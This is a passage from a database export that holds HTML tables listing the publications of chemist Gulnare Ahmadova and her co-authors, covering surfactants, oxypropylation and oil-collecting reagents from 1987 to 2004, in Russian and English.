M.</p><p>Aga-zade A.D.</p><p>Kabasakal Sermet O.</p><p>Ahmadova G.A.</p><p>Barzegar Zenuz M.</p></td><td width=\"104\"><p>Iran,</p><p>Tehran</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>p.11</p></td></tr><tr><td width=\"47\"><p>69.</p></td><td width=\"208\"><p>Surface-active properties of monocarboxylic acids oxypropylates</p></td><td width=\"160\"><p>«Процессы нефтехимии и нефтепереработки»</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Aga-zade A.D.</p><p>Ahmedova G.A.</p><p>Zarbaliyeva I.A.</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>№ 2, с.</p><p>6-13</p></td></tr><tr><td width=\"47\"><p>70.</p></td><td width=\"208\"><p>Хлороксипропилаты фракции карбоновых кислот говяжьего жира</p></td><td width=\"160\"><p>Тезисы докладов научной конференции, посвященной 95-летнему юбилею акад. М.Ф.Нагиева</p></td><td width=\"136\"><p>Ахмедова Г.А.</p><p>Асадов З.Г.</p><p>Багирова А.М.</p><p>&nbsp;</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>с.139</p></td></tr><tr><td width=\"47\"><p>71.</p></td><td width=\"208\"><p>Олигомерные реагенты для уменьшения степени испарения бензина</p></td><td width=\"160\"><p>Тезисы докладов научной конференции, посвященной 95-летнему юбилею акад. М.Ф.Нагиева</p></td><td width=\"136\"><p>Асадов З.Г</p><p>Ага-заде А.Д.</p><p>Дашдиев Р.А.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>с.140-141</p></td></tr><tr><td width=\"47\"><p>72.</p></td><td width=\"208\"><p>Аминные комплексы высших монокарбоновых кислот (С<sub>8</sub>, С<sub>9</sub>, С<sub>16</sub>и С<sub>18)&nbsp;</sub>и природных кислотных фракций</p></td><td width=\"160\"><p>Химический&nbsp; Журнал Грузии</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Зарбалиева И.А.</p><p>Саламова Н.В.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><p>Грузия, Тбилиси</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>№1, т.3, с.17-23</p></td></tr><tr><td width=\"47\"><p>73.</p></td><td width=\"208\"><p>Новые нефтесобирающие и диспергирующие реагенты</p></td><td width=\"160\"><p>Материалы Международной научно-практической конференции «Нефтепереработка и нефтехимия-2003»</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Саламова Н.В.</p><p>Зарбалиева И.А.</p></td><td width=\"104\"><p>Россия,</p><p>Уфа</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>С.242</p></td></tr><tr><td width=\"47\"><p>74.</p></td><td width=\"208\"><p>Замедление испарения нефтепродуктов с помощью реагентов олигомерной природы</p></td><td width=\"160\"><p>Материалы Международной научно-практической конференции «Нефтепереработка и нефтехимия-2003»</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Рагимов Р.А.</p><p>Алиева Г.С.</p></td><td width=\"104\"><p>Россия,</p><p>Уфа</p></td><td width=\"72\"><p>&nbsp;2003</p></td><td width=\"88\"><p>С.242</p></td></tr><tr><td width=\"47\"><p>75.</p></td><td width=\"208\"><p>Petroleum-collecting and dispersing properties of oxypropylates of individual monocarboxylic acids (C<sub>16</sub>, C<sub>18</sub>) and their natural fractions</p></td><td width=\"160\"><p>Processes of petrochemistry and oil refining</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Aga-zade A.D.</p><p>Zarbaliyeva I.A.</p><p>Salamova N.V.</p><p>Ahmadova G.A.</p><p>Eyubova S.K.</p><p>Rahimov R.A.</p><p>Baghirova A.M.</p></td><td width=\"104\"><p>Baku</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>№4 (15), P. 4-16</p></td></tr><tr><td width=\"47\"><p>76.</p></td><td width=\"208\"><p>Synthesis of surface-active ethers and esters based on (di)methylaminoethanol and propylene oxide</p></td><td width=\"160\"><p>Georgia Chemical Journal</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Aga-zade A.D.</p><p>Ahmadova G.A.</p><p>Nasibova Sh.M.</p><p>Rahimov R.A.</p><p>Aliyeva G.S.</p></td><td width=\"104\"><p>Georgia</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>V. 3, №3, P. 205-211</p></td></tr><tr><td width=\"47\"><p>77.</p></td><td width=\"208\"><p>Synthesis of non-ionogene surfactants based on higher saturated aliphatic linear alcohols (C<sub>7</sub>-C<sub>15</sub>) and epichlorohydrin</p></td><td width=\"160\"><p>Azerbaijan Chemical Journal</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Ahmadova G.A.</p></td><td width=\"104\"><p>Baku</p></td><td width=\"72\"><p>2003</p></td><td width=\"88\"><p>№4. p.112-117</p></td></tr><tr><td width=\"47\"><p>78.</p></td><td width=\"208\"><p>Исследование нефтесобирающих и нефтедиспергирующих свойств высших монокарбоновых кислот и кислотных фракций из масел и жиров</p></td><td width=\"160\"><p>Нефтяное хозяйство</p></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Зарбалиева И.А.</p><p>Эюбова С.К.</p><p>Саламова Н.В.</p><p>Исаева М.З.</p></td><td width=\"104\"><p>Россия,</p><p>Москва</p></td><td width=\"72\"><p>2004</p></td><td width=\"88\"><p>№ 4, С. 116-119</p></td></tr><tr><td width=\"47\"><p>79.</p></td><td width=\"208\"><p>New quaternary salts based on ethanolamins and alkyl bromides</p></td><td width=\"160\"><p>XVIII Ulusal Kimya Kongresi</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Nasibova Sh. M.</p><p>Ahmadova G.A.</p><p>Guliyev A.D.</p></td><td width=\"104\"><p>Turkey,</p><p>Kars</p></td><td width=\"72\"><p>2004</p></td><td width=\"88\"><p>P. 1025</p></td></tr><tr><td width=\"47\"><p>80.</p></td><td width=\"208\"><p>(Chlor)oxypropylation of polyatomic aliphatic alcohols (C<sub>2</sub>-C<sub>3</sub>)</p></td><td width=\"160\"><p>XVIII Ulusal Kimya Kongresi</p></td><td width=\"136\"><p>Aga-zade A.D.</p><p>Asadov Z.H.</p><p>Ahmadova G.A.</p><p>Rahimov R.A.</p><p>Baghirova R.A.</p></td><td width=\"104\"><p>Turkey,</p><p>Kars</p></td><td width=\"72\"><p>2004</p></td><td width=\"88\"><p>P. 1026</p></td></tr><tr><td width=\"47\"><p>81.</p></td><td width=\"208\"><p>Нефтесобирающие и диспергирующие свойства хлорокси-пропилатов выс-ших монокарбо-новых кислот и их природных фракций</p></td><td width=\"160\"><p>Процессы нефтехимии и нефтепереработки</p></td><td width=\"136\"><p>Ахмедова Г.А.</p><p>&nbsp;</p></td><td width=\"104\"><p>Баку</p></td><td width=\"72\"><p>2004</p></td><td width=\"88\"><p>№4 (19). С.15-30</p></td></tr><tr><td width=\"47\"><p>82.</p></td><td width=\"208\"><p>New cationo-active oliqomeric electrolytes based on epichlorohydrin and amines</p></td><td width=\"160\"><p>XVIII Ulusal Kimya Kongresi</p></td><td width=\"136\"><p>Ahmadova G.A. Asadov Z.H.&nbsp;&nbsp;&nbsp;</p><p>Isayeva M.Z.</p><p>Safarov N.A.</p><p>Alieva G.A.</p></td><td width=\"104\"><p>Turkey,</p><p>Kars</p></td><td width=\"72\"><p>&nbsp;2004</p></td><td width=\"88\"><p>P. 1061</p></td></tr><tr><td width=\"47\"><p>83.</p></td><td width=\"208\"><p>Influence of propylene oxide on copolymerization of higher α-olefins (C<sub>8</sub>-C<sub>10</sub>) and acrylic acids</p></td><td width=\"160\"><p>XVIII Ulusal Kimya Kongresi</p></td><td width=\"136\"><p>Nasibova Sh. M.</p><p>Asadov Z.H.&nbsp;&nbsp;&nbsp;</p><p>Ahmadova G.A.</p></td><td width=\"104\"><p>Turkey,</p><p>Kars</p></td><td width=\"72\"><p>&nbsp;2004</p></td><td width=\"88\"><p>P. 1062</p></td></tr><tr><td width=\"47\"><p>84.</p></td><td width=\"208\"><p>Oligomeric derivatives of epichlorohydrin and propylene oxide for decreasing the rate of gasoline evaporation</p></td><td width=\"160\"><p>11<sup>th</sup>&nbsp;International Conference on Polymers and Organic Chemistry.</p></td><td width=\"136\"><p>Asadov Z.H.</p><p>Ahmadova G.A.</p><p>Aga-zade A.D.</p><p>Rahimov R.A.</p></td></tr></tbody></table>  <br></div>'),(1535,959,'az','Gulnare Ahmadova','Gulnare Ahmadova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"815\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"47\"><p><strong>N</strong></p></td><td width=\"208\"><p><strong>Title of publication</strong></p></td><td width=\"160\"><p><strong>Publications</strong></p><p><strong>Type/publication</strong></p><p><strong>activities</strong></p></td><td width=\"136\"><p><strong>All authors</strong></p></td><td width=\"104\"><p><strong>Publisher&nbsp;</strong><strong>&amp; place of publication</strong></p></td><td width=\"72\"><p><strong>Year published</strong></p></td><td width=\"88\"><p><strong>Vol.&nbsp;</strong><strong>&amp; pages</strong></p></td></tr><tr><td width=\"47\"><p>1.</p></td><td width=\"208\"><p>Synthesis of polymers and copolymers based on oxypropyl ester of (meth) acrylic acid</p><p>&nbsp;</p></td><td width=\"160\"><p>MACRO’87: 31-st IUPАC Маcrоmоl. Symp. Merseburg. Microsymp.2, Microsymp.3.S.1</p></td><td width=\"136\"><p>Aliyev V.S.</p><p>Asadov Z.G.</p><p>Yusubov A.Y.</p><p>Aga-zade A.D.</p><p>Ahmadova G.A.</p><h2>&nbsp;</h2></td><td width=\"104\"><p>Germany,</p><p>Merseburg</p></td><td width=\"72\"><h2>1987</h2></td><td width=\"88\"><p>p.117</p></td></tr><tr><td width=\"47\"><p>2.</p></td><td width=\"208\"><h2>Превращения акрилонитрила в кислотных средах</h2></td><td width=\"160\"><h2>Деп. В ВИНИТИ №4. 291-В87 от 12/VI 1987</h2></td><td width=\"136\"><h2>Алиев В.С.</h2><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><h2>Юсубов А.Ю.</h2><p>Гурская М.В</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><p>Россия</p></td><td width=\"72\"><p>1987</p></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>3.</p></td><td width=\"208\"><h2>Полимеризация оксипропилакрилата в водной и органической средах</h2></td><td width=\"160\"><h2>Материалы III Республиканской конференции молодых ученых-химиков, посвященной 80-летию академика М.Ф.Нагиева</h2></td><td width=\"136\"><p>Ахмедова Г.А</p><p>Ага-заде А.Д.</p><p>Асадов З.Г.</p><p>&nbsp;</p></td><td width=\"104\"><p>Баку: Элм</p></td><td width=\"72\"><h2>1988</h2></td><td width=\"88\"><p>C.109</p></td></tr><tr><td width=\"47\"><p>4.</p></td><td width=\"208\"><h2>Об активности карбоксильной группы в реакции оксипропилирования</h2></td><td width=\"160\"><h2>Труды&nbsp; I научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР; Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"136\"><h2>Юсубов А.Ю.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><h2>Асадов З.Г.</h2></td><td width=\"104\"><h2>Деп.в ВИНИТИ №326-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"88\"><p>Ч.2.С.64-67</p></td></tr><tr><td width=\"47\"><p>5.</p></td><td width=\"208\"><h2>Кинетические особенности радикальной гомополимеризации оксипропилакрилата и оксипропилметакрилата</h2></td><td width=\"160\"><h2>Труды&nbsp; I научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР; Химия и технология нефтехим. синтеза и высокомол. соед.</h2></td><td width=\"136\"><h2>Ахмедова Г.</h2><h2>Юсубов А.Ю.</h2><h2>Асадов З.Г.</h2></td><td width=\"104\"><h2>Деп.в ВИНИТИ №326-В89</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"88\"><p>Ч.2.С.72-74</p></td></tr><tr><td width=\"47\"><p>6.</p></td><td width=\"208\"><h2>Синтез и (со)полимеризация оксипропил(мет)акрилата</h2></td><td width=\"160\"><h2>Всесоюзная конференция «Радикальная полимеризация»</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ахмедова Г.А.</p><p>Юсубов А.Ю.</p><p>Касимов А.А.</p><p>&nbsp;</p></td><td width=\"104\"><h2>Россия,</h2><h2>Горький</h2></td><td width=\"72\"><h2>1989</h2></td><td width=\"88\"><p>С.58-59</p></td></tr><tr><td width=\"47\"><p>7.</p></td><td width=\"208\"><h2>Синтез и нефтевытесняющие свойства водорастворимых полимеров на основе акриловой кислоты, окиси пропилена&nbsp; и (не)органических оснований</h2></td><td width=\"160\"><h2>Современные методы увеличения нефтеотдачи пластов (краткие тезисы докладов Всесоюзного совещания)</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А</p><p>Насибова Ш.М Касимов А.А.</p><p>Алиев Б.М.</p><p>&nbsp;</p></td><td width=\"104\"><h2>Россия,</h2><h2>Бугульма</h2></td><td width=\"72\"><p>1989</p></td><td width=\"88\"><p>С.190-192</p></td></tr><tr><td width=\"47\"><p>8.</p></td><td width=\"208\"><h2>Некоторые кинетические параметры радикальной полимеризации оксипропилакрилата, инициированной персульфатными солями</h2></td><td width=\"160\"><h2>Труды&nbsp; 2-ой научной конференции молодых ученых Ин-та нефтехимич. Процессов АН АзССР; Кинетика и катализ, оптимизация и моделирование нефтехимических процессов</h2></td><td width=\"136\"><h2>Ахмедова Г.А.</h2><p>Асадов З.Г.</p></td><td width=\"104\"><h2>Деп.в ВИНИТИ №6876-В89</h2></td><td width=\"72\"><p>1989</p></td><td width=\"88\"><p>Ч.1.С.17-20</p></td></tr><tr><td width=\"47\"><p>9.</p></td><td width=\"208\"><h2>Синтез сополимеров оксипропилового эфира акриловой кислоты</h2></td><td width=\"160\"><h2>Труды&nbsp; 3-ей научной конференции молодых ученых Ин-та нефтехим. процессов АН АзССР</h2></td><td width=\"136\"><h2>Ахмедова Г.А.</h2><p>Асадов З.Г.</p></td><td width=\"104\"><h2>Деп.в ВИНИТИ №2272-В89</h2></td><td width=\"72\"><p>1990</p></td><td width=\"88\"><p>С.34-36</p></td></tr><tr><td width=\"47\"><p>10.</p></td><td width=\"208\"><h2>Синтез водорастворимых олигомеров на основе акриловой кислоты и окиси пропилена</h2></td><td width=\"160\"><h2>IV Всесоюзная конференция по химии и физико-химии олигомеров. Тезисы пленарных и стендовых докладов,&nbsp; Черноголовка</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Алиев В.С..</p><p>Ахмедова Г.А</p><p>Ага-заде А.Д.</p><p>Касимов А.А.</p><p>Насибова Ш.М</p></td><td width=\"104\"><h2>Россия,</h2><h2>Нальчик</h2></td><td width=\"72\"><p>1990</p></td><td width=\"88\"><p>С.177</p></td></tr><tr><td width=\"47\"><p>11.</p></td><td width=\"208\"><h2>Реагент для подавления жизнедеятельности сульфатвосстанавливающих бактерий в заводняемом нефтяном пласте</h2></td><td width=\"160\"><h2>Авторское свидетельство СССР №1747681</h2></td><td width=\"136\"><p>Ханларова А.Г.</p><p>Кандинская Л.И.</p><p>Асадов З.Г.</p><p>Алиев В.С.</p><p>Файзуллина Е.Ю.</p><p>Гаджиева Р.Н.</p><p>Самедова А.М.</p><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><h2>&nbsp;</h2></td><td width=\"72\"><p>1992</p></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>12.</p></td><td width=\"208\"><h2>Способ получения оксипропильных производных&nbsp; полиакриловой кислоты</h2></td><td width=\"160\"><h2>Авторское свидетельство СССР №1829375</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Алиев В.С.</p><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Касимов А.А.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><h2>&nbsp;</h2></td><td width=\"72\"><p>1992</p></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>13.</p></td><td width=\"208\"><h2>Synthesis, kinetic regularities and mechanism of process for obtaining of water-soluble polymeric surface-active substance (SAS) based on acrylic acid and propylene oxide</h2></td><td width=\"160\"><h2>Birinci Azərbaycan-Türkiyə “Polimer-91” Bildiri özetleri</h2></td><td width=\"136\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><h2>Ahmadova G.A.</h2><h2>Nasibova Sh.M.</h2><h2>Kasimov A.A.</h2><h2>Aliyev V.S.</h2><p>&nbsp;</p></td><td width=\"104\"><h2>Baku</h2></td><td width=\"72\"><p>1991</p></td><td width=\"88\"><p>pp. 365-366</p></td></tr><tr><td width=\"47\"><p>14.</p></td><td width=\"208\"><h2>Применение водорастворимых полимеров на основе акриловой&nbsp; кислоты и окиси пропилена в извлечении нефти методом мицеллярно-полимерного заводнения</h2></td><td width=\"160\"><h2>Нефть и газ. Известия высших учебных заведений</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Касимов А.А.</p><p>Алиев В.С.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1992</p></td><td width=\"88\"><p>№3-4.С. 31-34</p></td></tr><tr><td width=\"47\"><p>15.</p></td><td width=\"208\"><h2>Regularities and peculiarities for&nbsp; obtaining&nbsp; water-soluble surface-active (co)polymers of acrylic acid’s oxypropyl and chloroxypropyl esters</h2></td><td width=\"160\"><h2>İkinciAzərbaycan-Türkiyə “Polimer-92” Tebliq özetleri</h2></td><td width=\"136\"><h2>Asadov Z.G. Ahmadova G.A.</h2><h2>Aga-zade A.D.</h2><h2>Nasibova Sh.M.</h2><h2>Kasimov A.A.</h2><h2>Aliyev V.S.</h2><p>&nbsp;</p></td><td width=\"104\"><h2>Turkey,</h2><h2>Ankara</h2></td><td width=\"72\"><p>1992</p></td><td width=\"88\"><p>p. 136</p></td></tr><tr><td width=\"47\"><p>16.</p></td><td width=\"208\"><h2>О возможности сбора нефти и нефтепродуктов в виде тонких пленок на водной поверхности с помощью композиций, содержащих полимеры и олигомеры на основе акриловых мономеров и эпоксисоединений</h2></td><td width=\"160\"><h2>&nbsp;Научно-практическая конференция «Экологические проблемы&nbsp; г.Баку и пригородских&nbsp; территорий». Баку, 26-27 ноября 1992 г. Тезисы докладов. Баку, Бакинское отделение Экологического Союза Азербайджана</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Касимов А.А.</p><h2>Алиев В.С.</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1992</h2></td><td width=\"88\"><p>С.17</p></td></tr><tr><td width=\"47\"><p>17.</p></td><td width=\"208\"><h2>Новый реагент для сбора тонких нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Материалы научно-практ. конференции по экологич. пробл. Азербайджана. II выпуск. Баку: Азерб.Респ. Ассоц. «Экология»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Алиев В.С.</p><h2>&nbsp;</h2></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><h2>1993</h2></td><td width=\"88\"><p>С.82</p></td></tr><tr><td width=\"47\"><p>18.</p></td><td width=\"208\"><h2>Композиция для удаления нефти и нефтепродуктов с поверхности воды</h2></td><td width=\"160\"><h2>Заявка Азербайджанской Республики 000166А от 23/ХI 1993 г. Патент Р990073</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Касимов А.А.</p><h2>&nbsp;</h2></td><td width=\"104\"><h2>Азербайджан</h2></td><td width=\"72\"><h2>1999</h2></td><td width=\"88\"><p>&nbsp;</p></td></tr><tr><td width=\"47\"><p>19.</p></td><td width=\"208\"><h2>Частично гидрофобизированные полимерные ПАВ на основе акриловой кислоты, окиси пропилена&nbsp; и спиртов</h2></td><td width=\"160\"><h2>Первая Бакинская Международная Конференция по нефтехимии «Новые процессы, технологии, материалы. Баку-94». Тезисы докладов</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Касимов А.А.</p><p>Алиев В.С.</p><p>&nbsp;</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1994</p></td><td width=\"88\"><p>С.201</p></td></tr><tr><td width=\"47\"><p>20.</p></td><td width=\"208\"><h2>Очистка водной поверхности от пленок нефтяного происхождения</h2></td><td width=\"160\"><h2>Экологические проблемы Азербайджана. Материалы научно-практической конференции по экологическим проблемам Азербайджана. III выпуск</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Эюбова С.К.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1994</p></td><td width=\"88\"><p>С.113-114</p></td></tr><tr><td width=\"47\"><p>21.</p></td><td width=\"208\"><h2>Композиция для удаления нефтяных пленок с поверхности водоемов</h2></td><td width=\"160\"><h2>Материалы научно-практической. конференции «Экология-93». Сумгаит</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Алиев В.С.</p></td><td width=\"104\"><h2>Сумгаит</h2></td><td width=\"72\"><p>1993</p></td><td width=\"88\"><p>С.13</p></td></tr><tr><td width=\"47\"><p>22.</p></td><td width=\"208\"><h2>Oil-collecting monocomponent reagents</h2></td><td width=\"160\"><h2>Third Baku International Congress</h2><p>«Energy, Ecology, Economy».&nbsp; Abstracts</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"136\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Ahmadova G.A.</p><p>Eyubova S.K.</p><p>Ismailova Kh.R.</p></td><td width=\"104\"><h2>Baku</h2></td><td width=\"72\"><p>1995</p></td><td width=\"88\"><p>P.87</p></td></tr><tr><td width=\"47\"><p>23.</p></td><td width=\"208\"><h2>Исследование собирания тонких нефтяных пленок с поверхности воды под воздействием нефтесобирающей и нефтедиспергирующей копозиции</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p><p>Алиев В.С.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1995</p></td><td width=\"88\"><p>№7-8. С.103-107</p></td></tr><tr><td width=\"47\"><p>24.</p></td><td width=\"208\"><h2>Новые поверхностно-активные сополимеры, содержащие одновременно анионо-и катионактивные, а также неионогенные функциональные группы</h2></td><td width=\"160\"><h2>II Бакинская Международная нефтехимическая конференция посвящ. памяти акад. Ю.Г. Мамедалиева. Тезисы докладов</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p><p>Эюбова С.К.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1996</p></td><td width=\"88\"><p>С.47</p></td></tr><tr><td width=\"47\"><p>25.</p></td><td width=\"208\"><h2>Изучение межфазного распределения нефтесобирающей и диспергирующей композиции и влияния минерализации и рН воды на ее действие</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Исмаилова Х.Р.</p><p>Ахмедова Г.А.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1996</p></td><td width=\"88\"><p>№3. С.56-59</p></td></tr><tr><td width=\"47\"><p>26.</p></td><td width=\"208\"><h2>Нефтесобирающие олигомеры</h2></td><td width=\"160\"><h2>Материалы Международного симпозиума Азербайджан-Башкортостан «Проблемы экологии в нефтепереработке и нефтехимии»</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Исмаилова Х.Р.</p><h2>Эюбова С.К.</h2></td><td width=\"104\"><h2>Россия,</h2><h2>Уфа</h2></td><td width=\"72\"><h2>1995</h2></td><td width=\"88\"><p>Ч.А.С.4</p></td></tr><tr><td width=\"47\"><p>27.</p></td><td width=\"208\"><h2>New oil-collecting and dispergating reagents</h2></td><td width=\"160\"><h2>2-nd Iranian Congress of Chemical Engineering&nbsp; Book of Extended Abstracts.&nbsp; Tehran University of Technology</h2></td><td width=\"136\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Akhmedova G.A.</p><p>Barzegar Zenouz M.</p></td><td width=\"104\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p>1997</p></td><td width=\"88\"><p>P.258-259</p></td></tr><tr><td width=\"47\"><p>28.</p></td><td width=\"208\"><h2>Synthesis&nbsp; and study of new water-soluble (co)polymers of polyelectrolyte nature based on amines, acrylic acid and epoxy compounds</h2></td><td width=\"160\"><h2>Journal of Engineering&nbsp;&nbsp; and Architectural Faculty of Osmangazi University, Eskishehir</h2></td><td width=\"136\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Nourbakhsh M.</p><p>Barzegar Zenouz M. Akhmedova G.A.</p></td><td width=\"104\"><h2>Turkey,</h2><p>Eskishehir</p></td><td width=\"72\"><p>1996</p></td><td width=\"88\"><p>Vol. IX, №2, P. 41-51.</p></td></tr><tr><td width=\"47\"><p>29.</p></td><td width=\"208\"><h2>Сополимеры оксипропилакрилата с акрилатными солями-водорастворимые нефтевытесняющие ПАВ</h2></td><td width=\"160\"><h2>Азербайджанское нефтяное хозяйство</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ахмедова Г.А.</p><p>Алиев В.С.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1997</p></td><td width=\"88\"><p>№4. С.48-51,58</p></td></tr><tr><td width=\"47\"><p>30.</p></td><td width=\"208\"><h2>Synthesis of (chlor)oxypropylated derivatives of higher monocarboxylic&nbsp; acids</h2></td><td width=\"160\"><h2>8-th International Sympozium on Science and Technology of oil, gaz and Petrochemistry. National Оil Company of&nbsp; Iran. Tehran</h2></td><td width=\"136\"><h2>Asadov Z.G.</h2><h2>Aga-zade A.D.</h2><p>Akhmedova G.A.</p><h2>Barzegar Zenouz M.</h2></td><td width=\"104\"><h2>Iran,</h2><h2>Tehran</h2></td><td width=\"72\"><p>1997</p></td><td width=\"88\"><p>P.30</p></td></tr><tr><td width=\"47\"><p>31.</p></td><td width=\"208\"><h2>Фосфатированные олигомеры на основе эпоксисоединений</h2></td><td width=\"160\"><h2>Шестая Международная Конференция по химии и физико-химии олигомеров. Тезисы докладов</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p></td><td width=\"104\"><h2>Россия,</h2><h2>Казань</h2></td><td width=\"72\"><p>1997</p></td><td width=\"88\"><p>Т.1.С.276</p></td></tr><tr><td width=\"47\"><p>32.</p></td><td width=\"208\"><h2>Kinetic regularities of the reaction of polymethacrylic acid (PMAA) oxypropylation</h2></td><td width=\"160\"><h2>Azerbaijan Chemical Journal</h2></td><td width=\"136\"><p>Asadov Z.G.</p><p>Nasibova Sh.M</p><p>Yusubov A.Yu</p><p>Ahmedova G.A.</p></td><td width=\"104\"><h2>Baku</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>№1.P.15-19</p></td></tr><tr><td width=\"47\"><p>33.</p></td><td width=\"208\"><h2>Synthesis&nbsp; and polymerization of oxypropyl ester of acrylic acid</h2></td><td width=\"160\"><h2>Azerbaijan Chemical Journal</h2></td><td width=\"136\"><p>Asadov Z.G.</p><p>Ahmedova G.A.</p><p>Aga-zade A.D.</p></td><td width=\"104\"><h2>Baku</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>№1.P.72-75</p></td></tr><tr><td width=\"47\"><p>34.</p></td><td width=\"208\"><h2>Новые олигомерные и полимерные реагенты для удаления нефтяных пленок с водной поверхности</h2></td><td width=\"160\"><h2>Тезисы материалов научно-практической конференции «Пути совершенствования Нефтяной науки в Азербайджане», посвящ. 70-летнему юбилею акад. А.Х. Мирзаджанзаде</h2></td><td width=\"136\"><h2>Асадов З.Г.</h2><p>Ага-заде А.Д.</p><p>Насибова Ш.М.</p><p>Ахмедова Г.А.</p><p>Барзегар Зенуз М.</p><p>Исмаилова Х.Р.</p><p>Эюбова С.К.</p></td><td width=\"104\"><h2>Баку</h2></td><td width=\"72\"><p>1998</p></td><td width=\"88\"><p>С.63</p></td></tr><tr><td width=\"47\"><p>35.</p></td><td width=\"208\"><h2>Новые неионогенные ПАВ на основе пеларгоновой кислоты и эпоксидов</h2></td><td width=\"160\"><h2>Тезисы докладов III Бакинской Международной Мамедалиевской нефтехимической конференции</h2></td><td width=\"136\"><p>Асадов З.Г.</p><p>Ахмедова Г.А.</p><p>Ага-заде 